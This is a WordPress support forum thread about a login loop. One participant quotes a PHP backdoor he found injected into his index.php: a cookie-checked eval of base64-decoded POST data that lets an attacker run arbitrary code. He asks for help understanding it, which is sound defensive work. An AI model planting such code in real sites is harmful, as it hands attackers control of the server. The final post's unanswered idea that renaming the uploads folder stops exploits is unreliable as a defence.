Title: Help please I cannot log in
Last modified: August 19, 2016

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# Help please I cannot log in

 *  [hilemanhouse](https://wordpress.org/support/users/hilemanhouse/)
 * (@hilemanhouse)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/help-please-i-cannot-log-in/)
 * Everything was fine up until last night when I went to post something and then
   it went to the login page, I put in my passsword and pressed the button and it
   went right back to the log in page and nothing happened. I typed in a wrong password
   and it tells it is wrong but I cannot get it to go past login. I have tried deleting
   all the old files and loading new ones and it is still the same thing. I even
   tried downloading the files from a blog that is working and replacing the old
   ones and still the same thing???? I am at my wits end here the next step is to
   download my database and start all over but that is 416 pages so I really do 
   not want to do that

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 *  [khalidmsyed](https://wordpress.org/support/users/khalidmsyed/)
 * (@khalidmsyed)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/help-please-i-cannot-log-in/#post-936095)
 * I had similar problem twice recently. The only difference was that instead of
   going back to same page my logon page would hang for minutes and then timeout.
 * Turned out that this was due to corrupt plugins. I had to goto my hosting control
   panel and then goto /wp-content/plugins. There I saw that some plugin files/folders
   had changed recently. I deleted those plugins one by one and then re-tried login.
   Finally it started working.
 * I am not sure why this happens. Maybe the plugin tries to do auto-update and 
   gets corrupted, although auto-update is not enabled.
 * Kind regards
 * Khalid
 *  [khalidmsyed](https://wordpress.org/support/users/khalidmsyed/)
 * (@khalidmsyed)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/help-please-i-cannot-log-in/#post-936097)
 * Another thing.
    While looking at blog files, I noticed that index.php had been
   modified recently on my blogs that had the logon issue. I could see following
   extra code in there that I had not seen before:
 * _<?php if(md5($\_COOKIE[‘9dd4c670373e0a5d’])==”03d6f1e62bba8efe0f71093d258a3c2a”){
   eval(base64\_decode($\_POST[‘file’])); exit; } ?>_
 * Does anyone know what this code does? Did someone try to hack my blog but succeeded
   only partially?
 * Khalid
 *  [Len](https://wordpress.org/support/users/lenk/)
 * (@lenk)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/help-please-i-cannot-log-in/#post-936099)
 * [@khalidmsyed](https://wordpress.org/support/users/khalidmsyed/) – That code 
   should not be there. You might want to have a look at the following threads. 
   Lots of good info.
 * [http://wordpress.org/search/hacked?forums=1](http://wordpress.org/search/hacked?forums=1)
 *  [khalidmsyed](https://wordpress.org/support/users/khalidmsyed/)
 * (@khalidmsyed)
 * [17 years, 4 months ago](https://wordpress.org/support/topic/help-please-i-cannot-log-in/#post-936315)
 * Ok, thanks for that.
    I have read that thread and found some things on my blog
   that needed fixing. One of the exploits mentioned was that the hacker uploads
   an executable to /uploads folder and then tries to execute it. This exploit works
   because /uploads is a default and well-known location. If I let’s say change 
   the upload location to /uploadsxyz then the exploit won’t work because the hacker
   would be trying to run the executable from wrong folder. Right?

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 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 4 replies
 * 3 participants
 * Last reply from: [khalidmsyed](https://wordpress.org/support/users/khalidmsyed/)
 * Last activity: [17 years, 4 months ago](https://wordpress.org/support/topic/help-please-i-cannot-log-in/#post-936315)
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